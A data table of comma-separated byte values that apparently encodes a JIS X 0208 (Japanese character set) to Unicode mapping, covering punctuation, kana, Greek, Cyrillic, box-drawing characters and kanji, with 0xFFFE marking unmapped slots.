254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,0,48,1,48,
2,48,12,255,14,255,251,48,26,255,27,255,31,255,1,255,
155,48,156,48,180,0,64,255,168,0,62,255,227,255,63,255,
253,48,254,48,157,48,158,48,3,48,221,78,5,48,6,48,
7,48,252,48,20,32,16,32,15,255,60,255,28,48,22,32,
92,255,38,32,37,32,24,32,25,32,28,32,29,32,8,255,
9,255,20,48,21,48,59,255,61,255,91,255,93,255,8,48,
9,48,10,48,11,48,12,48,13,48,14,48,15,48,16,48,
17,48,11,255,18,34,177,0,215,0,247,0,29,255,96,34,
28,255,30,255,102,34,103,34,30,34,52,34,66,38,64,38,
176,0,50,32,51,32,3,33,229,255,4,255,224,255,225,255,
5,255,3,255,6,255,10,255,32,255,167,0,6,38,5,38,
203,37,207,37,206,37,199,37,198,37,161,37,160,37,179,37,
178,37,189,37,188,37,59,32,18,48,146,33,144,33,145,33,
147,33,19,48,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,8,34,11,34,134,34,
135,34,130,34,131,34,42,34,41,34,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,39,34,40,34,226,255,
210,33,212,33,0,34,3,34,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,32,34,
165,34,18,35,2,34,7,34,97,34,82,34,106,34,107,34,
26,34,61,34,29,34,53,34,43,34,44,34,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,43,33,48,32,111,38,
109,38,106,38,32,32,33,32,182,0,254,255,254,255,254,255,
254,255,239,37,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,16,255,17,255,18,255,19,255,20,255,21,255,22,255,
23,255,24,255,25,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,33,255,34,255,35,255,36,255,37,255,38,255,
39,255,40,255,41,255,42,255,43,255,44,255,45,255,46,255,
47,255,48,255,49,255,50,255,51,255,52,255,53,255,54,255,
55,255,56,255,57,255,58,255,254,255,254,255,254,255,254,255,
254,255,254,255,65,255,66,255,67,255,68,255,69,255,70,255,
71,255,72,255,73,255,74,255,75,255,76,255,77,255,78,255,
79,255,80,255,81,255,82,255,83,255,84,255,85,255,86,255,
87,255,88,255,89,255,90,255,254,255,254,255,254,255,254,255,
65,48,66,48,67,48,68,48,69,48,70,48,71,48,72,48,
73,48,74,48,75,48,76,48,77,48,78,48,79,48,80,48,
81,48,82,48,83,48,84,48,85,48,86,48,87,48,88,48,
89,48,90,48,91,48,92,48,93,48,94,48,95,48,96,48,
97,48,98,48,99,48,100,48,101,48,102,48,103,48,104,48,
105,48,106,48,107,48,108,48,109,48,110,48,111,48,112,48,
113,48,114,48,115,48,116,48,117,48,118,48,119,48,120,48,
121,48,122,48,123,48,124,48,125,48,126,48,127,48,128,48,
129,48,130,48,131,48,132,48,133,48,134,48,135,48,136,48,
137,48,138,48,139,48,140,48,141,48,142,48,143,48,144,48,
145,48,146,48,147,48,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,161,48,162,48,
163,48,164,48,165,48,166,48,167,48,168,48,169,48,170,48,
171,48,172,48,173,48,174,48,175,48,176,48,177,48,178,48,
179,48,180,48,181,48,182,48,183,48,184,48,185,48,186,48,
187,48,188,48,189,48,190,48,191,48,192,48,193,48,194,48,
195,48,196,48,197,48,198,48,199,48,200,48,201,48,202,48,
203,48,204,48,205,48,206,48,207,48,208,48,209,48,210,48,
211,48,212,48,213,48,214,48,215,48,216,48,217,48,218,48,
219,48,220,48,221,48,222,48,223,48,224,48,225,48,226,48,
227,48,228,48,229,48,230,48,231,48,232,48,233,48,234,48,
235,48,236,48,237,48,238,48,239,48,240,48,241,48,242,48,
243,48,244,48,245,48,246,48,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,145,3,146,3,147,3,148,3,
149,3,150,3,151,3,152,3,153,3,154,3,155,3,156,3,
157,3,158,3,159,3,160,3,161,3,163,3,164,3,165,3,
166,3,167,3,168,3,169,3,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,177,3,178,3,179,3,180,3,
181,3,182,3,183,3,184,3,185,3,186,3,187,3,188,3,
189,3,190,3,191,3,192,3,193,3,195,3,196,3,197,3,
198,3,199,3,200,3,201,3,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,16,4,17,4,18,4,19,4,20,4,21,4,
1,4,22,4,23,4,24,4,25,4,26,4,27,4,28,4,
29,4,30,4,31,4,32,4,33,4,34,4,35,4,36,4,
37,4,38,4,39,4,40,4,41,4,42,4,43,4,44,4,
45,4,46,4,47,4,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,48,4,49,4,50,4,51,4,52,4,53,4,
81,4,54,4,55,4,56,4,57,4,58,4,59,4,60,4,
61,4,62,4,63,4,64,4,65,4,66,4,67,4,68,4,
69,4,70,4,71,4,72,4,73,4,74,4,75,4,76,4,
77,4,78,4,79,4,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
0,37,2,37,12,37,16,37,24,37,20,37,28,37,44,37,
36,37,52,37,60,37,1,37,3,37,15,37,19,37,27,37,
23,37,35,37,51,37,43,37,59,37,75,37,32,37,47,37,
40,37,55,37,63,37,29,37,48,37,37,37,56,37,66,37,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
254,255,254,255,254,255,254,255,254,255,254,255,254,255,254,255,
156,78,22,85,3,90,63,150,192,84,27,97,40,99,246,89,
34,144,117,132,28,131,80,122,170,96,225,99,37,110,237,101,
102,132,166,130,245,155,147,104,39,87,161,101,113,98,155,91,
208,89,123,134,244,152,98,125,190,125,142,155,22,98,159,124,
183,136,137,91,181,94,9,99,151,102,72,104,199,149,141,151,
79,103,229,78,10,79,77,79,157,79,73,80,242,86,55,89,
212,89,1,90,9,92,223,96,15,97,112,97,19,102,5,105,
186,112,79,117,112,117,251,121,173,125,239,125,195,128,14,132,
99,136,2,139,85,144,122,144,59,83,149,78,165,78,223,87,
178,128,193,144,239,120,0,78,241,88,162,110,56,144,50,122,
40,131,139,130,47,156,65,81,112,83,189,84,225,84,224,86,
251,89,21,95,242,152,235,109,228,128,45,133,98,150,112,150,
160,150,251,151,11,84,243,83,135,91,207,112,189,127,194,143,
232,150,111,83,92,157,186,122,17,78,147,120,252,129,38,110,
24,86,4,85,29,107,26,133,59,156,229,89,169,83,102,109,
220,116,143,149,66,86,145,78,75,144,242,150,79,131,12,153,
225,83,182,85,48,91,113,95,32,102,243,102,4,104,56,108,
243,108,41,109,91,116,200,118,78,122,52,152,241,130,91,136,
96,138,237,146,178,109,171,117,202,118,197,153,166,96,1,139,
138,141,178,149,142,105,173,83,134,81,18,87,48,88,68,89,
180,91,246,94,40,96,169,99,244,99,191,108,20,111,142,112,
20,113,89,113,213,113,63,115,1,126,118,130,209,130,151,133,
96,144,91,146,27,157,105,88,188,101,90,108,37,117,249,81,
46,89,101,89,128,95,220,95,188,98,250,101,42,106,39,107,
180,107,139,115,193,127,86,137,44,157,14,157,196,158,161,92,
150,108,123,131,4,81,75,92,182,97,198,129,118,104,97,114,
89,78,250,79,120,83,105,96,41,110,79,122,243,151,11,78,
22,83,238,78,85,79,61,79,161,79,115,79,160,82,239,83,
9,86,15,89,193,90,182,91,225,91,209,121,135,102,156,103,
182,103,76,107,179,108,107,112,194,115,141,121,190,121,60,122,
135,123,177,130,219,130,4,131,119,131,239,131,211,131,102,135,
178,138,41,86,168,140,230,143,78,144,30,151,138,134,196,79,
232,92,17,98,89,114,59,117,229,129,189,130,254,134,192,140,
197,150,19,153,213,153,203,78,26,79,227,137,222,86,74,88,
202,88,251,94,235,95,42,96,148,96,98,96,208,97,18,98,
208,98,57,101,65,155,102,102,176,104,119,109,112,112,76,117,
134,118,117,125,165,130,249,135,139,149,142,150,157,140,241,81,
190,82,22,89,179,84,179,91,22,93,104,97,130,105,175,109,
141,120,203,132,87,136,114,138,167,147,184,154,108,109,168,153,
217,134,163,87,255,103,206,134,14,146,131,82,135,86,4,84,
211,94,225,98,185,100,60,104,56,104,187,107,114,115,186,120,
107,122,154,137,210,137,107,141,3,143,237,144,163,149,148,150,
105,151,102,91,179,92,125,105,77,152,78,152,155,99,32,123,
43,106,127,106,182,104,13,156,95,111,114,82,157,85,112,96,
236,98,59,109,7,110,209,110,91,132,16,137,68,143,20,78,
57,156,246,83,27,105,58,106,132,151,42,104,92,81,195,122,
178,132,220,145,140,147,91,86,40,157,34,104,5,131,49,132,
165,124,8,82,197,130,230,116,126,78,131,79,160,81,210,91,
10,82,216,82,231,82,251,93,154,85,42,88,230,89,140,91,
152,91,219,91,114,94,121,94,163,96,31,97,99,97,190,97,
219,99,98,101,209,103,83,104,250,104,62,107,83,107,87,108,
34,111,151,111,69,111,176,116,24,117,227,118,11,119,255,122,
161,123,33,124,233,125,54,127,240,127,157,128,102,130,158,131,
179,137,204,138,171,140,132,144,81,148,147,149,145,149,162,149,
101,150,211,151,40,153,24,130,56,78,43,84,184,92,204,93,
169,115,76,118,60,119,169,92,235,127,11,141,193,150,17,152,
84,152,88,152,1,79,14,79,113,83,156,85,104,86,250,87,
71,89,9,91,196,91,144,92,12,94,126,94,204,95,238,99,
58,103,215,101,226,101,31,103,203,104,196,104,95,106,48,94,
197,107,23,108,125,108,127,117,72,121,99,91,0,122,0,125,
189,95,143,137,24,138,180,140,119,141,204,142,29,143,226,152,
14,154,60,155,128,78,125,80,0,81,147,89,156,91,47,98,
128,98,236,100,58,107,160,114,145,117,71,121,169,127,251,135,
188,138,112,139,172,99,202,131,160,151,9,84,3,84,171,85,
84,104,88,106,112,138,39,120,117,103,205,158,116,83,162,91,
26,129,80,134,6,144,24,78,69,78,199,78,17,79,202,83,
56,84,174,91,19,95,37,96,81,101,61,103,66,108,114,108,
227,108,120,112,3,116,118,122,174,122,8,123,26,125,254,124,
102,125,231,101,91,114,187,83,69,92,232,93,210,98,224,98,
25,99,32,110,90,134,49,138,221,141,248,146,1,111,166,121,
90,155,168,78,171,78,172,78,155,79,160,79,209,80,71,81,
246,122,113,81,246,81,84,83,33,83,127,83,235,83,172,85,
131,88,225,92,55,95,74,95,47,96,80,96,109,96,31,99,
89,101,75,106,193,108,194,114,237,114,239,119,248,128,5,129,
8,130,78,133,247,144,225,147,255,151,87,153,90,154,240,78,
221,81,45,92,129,102,109,105,64,92,242,102,117,105,137,115,
80,104,129,124,197,80,228,82,71,87,254,93,38,147,164,101,
35,107,61,107,52,116,129,121,189,121,75,123,202,125,185,130,
204,131,127,136,95,137,57,139,209,143,209,145,31,84,128,146,
93,78,54,80,229,83,58,83,215,114,150,115,233,119,230,130,
175,142,198,153,200,153,210,153,119,81,26,97,94,134,176,85,
122,122,118,80,211,91,71,144,133,150,50,78,219,106,231,145,
81,92,72,92,152,99,159,122,147,108,116,151,97,143,170,122,
138,113,136,150,130,124,23,104,112,126,81,104,108,147,242,82,
27,84,171,133,19,138,164,127,205,142,225,144,102,83,136,136,
65,121,194,79,190,80,17,82,68,81,83,85,45,87,234,115,
139,87,81,89,98,95,132,95,117,96,118,97,103,97,169,97,
178,99,58,100,108,101,111,102,66,104,19,110,102,117,61,122,
251,124,76,125,153,125,75,126,107,127,14,131,74,131,205,134,
8,138,99,138,102,139,253,142,26,152,143,157,184,130,206,143,
232,155,135,82,31,98,131,100,192,111,153,150,65,104,145,80,
32,107,122,108,84,111,116,122,80,125,64,136,35,138,8,103,
246,78,57,80,38,80,101,80,124,81,56,82,99,82,167,85,
15,87,5,88,204,90,250,94,178,97,248,97,243,98,114,99,
28,105,41,106,125,114,172,114,46,115,20,120,111,120,121,125,
12,119,169,128,139,137,25,139,226,140,210,142,99,144,117,147,
122,150,85,152,19,154,120,158,67,81,159,83,179,83,123,94,
38,95,27,110,144,110,132,115,254,115,67,125,55,130,0,138,
250,138,80,150,78,78,11,80,228,83,124,84,250,86,209,89,
100,91,241,93,171,94,39,95,56,98,69,101,175,103,86,110,
208,114,202,124,180,136,161,128,225,128,240,131,78,134,135,138,
232,141,55,146,199,150,103,152,19,159,148,78,146,78,13,79,
72,83,73,84,62,84,47,90,140,95,161,95,159,96,167,104,
142,106,90,116,129,120,158,138,164,138,119,139,144,145,94,78,
201,155,164,78,124,79,175,79,25,80,22,80,73,81,108,81,
159,82,185,82,254,82,154,83,227,83,17,84,14,84,137,85,
81,87,162,87,125,89,84,91,93,91,143,91,229,93,231,93,
247,93,120,94,131,94,154,94,183,94,24,95,82,96,76,97,
151,98,216,98,167,99,59,101,2,102,67,102,244,102,109,103,
33,104,151,104,203,105,95,108,42,109,105,109,47,110,157,110,
50,117,135,118,108,120,63,122,224,124,5,125,24,125,94,125,
177,125,21,128,3,128,175,128,177,128,84,129,143,129,42,130,
82,131,76,136,97,136,27,139,162,140,252,140,202,144,117,145,
113,146,63,120,252,146,164,149,77,150,5,152,153,153,216,154,
59,157,91,82,171,82,247,83,8,84,213,88,247,98,224,111,
106,140,95,143,185,158,75,81,59,82,74,84,253,86,64,122,
119,145,96,157,210,158,68,115,9,111,112,129,17,117,253,95,
218,96,168,154,219,114,188,143,100,107,3,152,202,78,240,86,
100,87,190,88,90,90,104,96,199,97,15,102,6,102,57,104,
177,104,247,109,213,117,58,125,110,130,66,155,155,78,80,79,
201,83,6,85,111,93,230,93,238,93,251,103,153,108,115,116,
2,120,80,138,150,147,223,136,80,87,167,94,43,99,181,80,
172,80,141,81,0,103,201,84,94,88,187,89,176,91,105,95,
77,98,161,99,61,104,115,107,8,110,125,112,199,145,128,114,
21,120,38,120,109,121,142,101,48,125,220,131,193,136,9,143,
155,150,100,82,40,87,80,103,106,127,161,140,180,81,66,87,
42,150,58,88,138,105,180,128,178,84,14,93,252,87,149,120,
250,157,92,79,74,82,139,84,62,100,40,102,20,103,245,103,
132,122,86,123,34,125,47,147,92,104,173,155,57,123,25,83,
138,81,55,82,223,91,246,98,174,100,230,100,45,103,186,107,
169,133,209,150,144,118,214,155,76,99,6,147,171,155,191,118,
82,102,9,78,152,80,194,83,113,92,232,96,146,100,99,101,
95,104,230,113,202,115,35,117,151,123,130,126,149,134,131,139,
219,140,120,145,16,153,172,101,171,102,139,107,213,78,212,78,
58,79,127,79,58,82,248,83,242,83,227,85,219,86,235,88,
203,89,201,89,255,89,80,91,77,92,2,94,43,94,215,95,
29,96,7,99,47,101,92,91,175,101,189,101,232,101,157,103,
98,107,123,107,15,108,69,115,73,121,193,121,248,124,25,125,
43,125,162,128,2,129,243,129,150,137,94,138,105,138,102,138,
140,138,238,138,199,140,220,140,204,150,252,152,111,107,139,78,
60,79,141,79,80,81,87,91,250,91,72,97,1,99,66,102,
33,107,203,110,187,108,62,114,189,116,212,117,193,120,58,121,
12,128,51,128,234,129,148,132,158,143,80,108,127,158,15,95,
88,139,43,157,250,122,248,142,141,91,235,150,3,78,241,83,
247,87,49,89,201,90,164,91,137,96,127,110,6,111,190,117,
234,140,159,91,0,133,224,123,114,80,244,103,157,130,97,92,
74,133,30,126,14,130,153,81,4,92,104,99,102,141,156,101,
110,113,62,121,23,125,5,128,29,139,202,142,110,144,199,134,
170,144,31,80,250,82,58,92,83,103,124,112,53,114,76,145,
200,145,43,147,229,130,194,91,49,95,249,96,59,78,214,83,
136,91,75,98,49,103,138,107,233,114,224,115,46,122,107,129,
163,141,82,145,150,153,18,81,215,83,106,84,255,91,136,99,
57,106,172,125,0,151,218,86,206,83,104,84,151,91,49,92,
222,93,238,79,1,97,254,98,50,109,192,121,203,121,66,125,
77,126,210,127,237,129,31,130,144,132,70,136,114,137,144,139,
116,142,47,143,49,144,75,145,108,145,198,150,156,145,192,78,
79,79,69,81,65,83,147,95,14,98,212,103,65,108,11,110,
99,115,38,126,205,145,131,146,212,83,25,89,191,91,209,109,
93,121,46,126,155,124,126,88,159,113,250,81,83,136,240,143,
202,79,251,92,37,102,172,119,227,122,28,130,255,153,198,81,
170,95,236,101,111,105,137,107,243,109,150,110,100,111,254,118,
20,125,225,93,117,144,135,145,6,152,230,81,29,82,64,98,
145,102,217,102,26,110,182,94,210,125,114,127,248,102,175,133,
247,133,248,138,169,82,217,83,115,89,143,94,144,95,85,96,
228,146,100,150,183,80,31,81,221,82,32,83,71,83,236,83,
232,84,70,85,49,85,23,86,104,89,190,89,60,90,181,91,
6,92,15,92,17,92,26,92,132,94,138,94,224,94,112,95,
127,98,132,98,219,98,140,99,119,99,7,102,12,102,45,102,
118,102,126,103,162,104,31,106,53,106,188,108,136,109,9,110,
88,110,60,113,38,113,103,113,199,117,1,119,93,120,1,121,
101,121,240,121,224,122,17,123,167,124,57,125,150,128,214,131,
139,132,73,133,93,136,243,136,31,138,60,138,84,138,115,138,
97,140,222,140,164,145,102,146,126,147,24,148,156,150,152,151,
10,78,8,78,30,78,87,78,151,81,112,82,206,87,52,88,
204,88,34,91,56,94,197,96,254,100,97,103,86,103,68,109,
182,114,115,117,99,122,184,132,114,139,184,145,32,147,49,86,
244,87,254,152,237,98,13,105,150,107,237,113,84,126,119,128,
114,130,230,137,223,152,85,135,177,143,59,92,56,79,225,79,
181,79,7,85,32,90,221,91,233,91,195,95,78,97,47,99,
176,101,75,102,238,104,155,105,120,109,241,109,51,117,185,117,
31,119,94,121,230,121,51,125,227,129,175,130,170,133,170,137,
58,138,171,142,155,143,50,144,221,145,7,151,186,78,193,78,
3,82,117,88,236,88,11,92,26,117,61,92,78,129,10,138,
197,143,99,150,109,151,37,123,207,138,8,152,98,145,243,86,
168,83,23,144,57,84,130,87,37,94,168,99,52,108,138,112,
97,119,139,124,224,127,112,136,66,144,84,145,16,147,24,147,
143,150,94,116,196,154,7,93,105,93,112,101,162,103,168,141,
219,150,110,99,73,103,25,105,197,131,23,152,192,150,254,136,
132,111,122,100,248,91,22,78,44,112,93,117,47,102,196,81,
54,82,226,82,211,89,129,95,39,96,16,98,63,101,116,101,
31,102,116,102,242,104,22,104,99,107,5,110,114,114,31,117,
219,118,190,124,86,128,240,88,253,136,127,137,160,138,147,138,
203,138,29,144,146,145,82,151,89,151,137,101,14,122,6,129,
187,150,45,94,220,96,26,98,165,101,20,102,144,103,243,119,
77,122,77,124,62,126,10,129,172,140,100,141,225,141,95,142,
169,120,7,82,217,98,165,99,66,100,152,98,45,138,131,122,
192,123,172,138,234,150,118,125,12,130,73,135,217,78,72,81,
67,83,96,83,163,91,2,92,22,92,221,93,38,98,71,98,
176,100,19,104,52,104,201,108,69,109,23,109,211,103,92,111,
78,113,125,113,203,101,127,122,173,123,218,125,74,126,168,127,
122,129,27,130,57,130,166,133,110,138,206,140,245,141,120,144,
119,144,173,146,145,146,131,149,174,155,77,82,132,85,56,111,
54,113,104,81,133,121,85,126,179,129,206,124,76,86,81,88,
168,92,170,99,254,102,253,102,90,105,217,114,143,117,142,117,
14,121,86,121,223,121,151,124,32,125,68,125,7,134,52,138,
59,150,97,144,32,159,231,80,117,82,204,83,226,83,9,80,
170,85,238,88,79,89,61,114,139,91,100,92,29,83,227,96,
243,96,92,99,131,99,63,99,187,99,205,100,233,101,249,102,
227,93,205,105,253,105,21,111,229,113,137,78,233,117,248,118,
147,122,223,124,207,125,156,125,97,128,73,131,88,131,108,132,
188,132,251,133,197,136,112,141,1,144,109,144,151,147,28,151,
18,154,207,80,151,88,142,97,211,129,53,133,8,141,32,144,
195,79,116,80,71,82,115,83,111,96,73,99,95,103,44,110,
179,141,31,144,215,79,94,92,202,140,207,101,154,125,82,83,
150,136,118,81,195,99,88,91,107,91,10,92,13,100,81,103,
92,144,214,78,26,89,42,89,112,108,81,138,62,85,21,88,
165,89,240,96,83,98,193,103,53,130,85,105,64,150,196,153,
40,154,83,79,6,88,254,91,16,128,177,92,47,94,133,95,
32,96,75,97,52,98,255,102,240,108,222,110,206,128,127,129,
212,130,139,136,184,140,0,144,46,144,138,150,219,158,219,155,
227,78,240,83,39,89,44,123,141,145,76,152,249,157,221,110,
39,112,83,83,68,85,133,91,88,98,158,98,211,98,162,108,
239,111,34,116,23,138,56,148,193,111,254,138,56,131,231,81,
248,134,234,83,233,83,70,79,84,144,176,143,106,89,49,129,
253,93,234,122,191,143,218,104,55,140,248,114,72,156,61,106,
176,138,57,78,88,83,6,86,102,87,197,98,162,99,230,101,
78,107,225,109,91,110,173,112,237,119,239,122,170,123,187,125,
61,128,198,128,203,134,149,138,91,147,227,86,199,88,62,95,
173,101,150,102,128,106,181,107,55,117,199,138,36,80,229,119,
48,87,27,95,101,96,122,102,96,108,244,117,26,122,110,127,
244,129,24,135,69,144,179,153,201,123,92,117,249,122,81,123,
196,132,16,144,233,121,146,122,54,131,225,90,64,119,45,78,
242,78,153,91,224,95,189,98,60,102,241,103,232,108,107,134,
119,136,59,138,78,145,243,146,208,153,23,106,38,112,42,115,
231,130,87,132,175,140,1,78,70,81,203,81,139,85,245,91,
22,94,51,94,129,94,20,95,53,95,107,95,180,95,242,97,
17,99,162,102,29,103,110,111,82,114,58,117,58,119,116,128,
57,129,120,129,118,135,191,138,220,138,133,141,243,141,154,146,
119,149,2,152,229,156,197,82,87,99,244,118,21,103,136,108,
205,115,195,140,174,147,115,150,37,109,156,88,14,105,204,105,
253,143,154,147,219,117,26,144,90,88,2,104,180,99,251,105,
67,79,44,111,216,103,187,143,38,133,180,125,84,147,63,105,
112,111,106,87,247,88,44,91,44,125,42,114,10,84,227,145,
180,157,173,78,78,79,92,80,117,80,67,82,158,140,72,84,
36,88,154,91,29,94,149,94,173,94,247,94,31,95,140,96,
181,98,58,99,208,99,175,104,64,108,135,120,142,121,11,122,
224,125,71,130,2,138,230,138,68,142,19,144,184,144,45,145,
216,145,14,159,229,108,88,100,226,100,117,101,244,110,132,118,
27,123,105,144,209,147,186,110,242,84,185,95,164,100,77,143,
237,143,68,146,120,81,107,88,41,89,85,92,151,94,251,109,
143,126,28,117,188,140,226,142,91,152,185,112,29,79,191,107,
177,111,48,117,251,150,78,81,16,84,53,88,87,88,172,89,
96,92,146,95,151,101,92,103,33,110,123,118,223,131,237,140,
20,144,253,144,77,147,37,120,58,120,170,82,166,94,31,87,
116,89,18,96,18,80,90,81,172,81,205,81,0,82,16,85,
84,88,88,88,87,89,149,91,246,92,139,93,188,96,149,98,
45,100,113,103,67,104,188,104,223,104,215,118,216,109,111,110,
155,109,111,112,200,113,83,95,216,117,119,121,73,123,84,123,
82,123,214,124,113,125,48,82,99,132,105,133,228,133,14,138,
4,139,70,140,15,142,3,144,15,144,25,148,118,150,45,152,
48,154,216,149,205,80,213,82,12,84,2,88,14,92,167,97,
158,100,30,109,179,119,229,122,244,128,4,132,83,144,133,146,
224,92,7,157,63,83,151,95,179,95,156,109,121,114,99,119,
191,121,228,123,210,107,236,114,173,138,3,104,97,106,248,81,
129,122,52,105,74,92,246,156,235,130,197,91,73,145,30,112,
120,86,111,92,199,96,102,101,140,108,90,140,65,144,19,152,
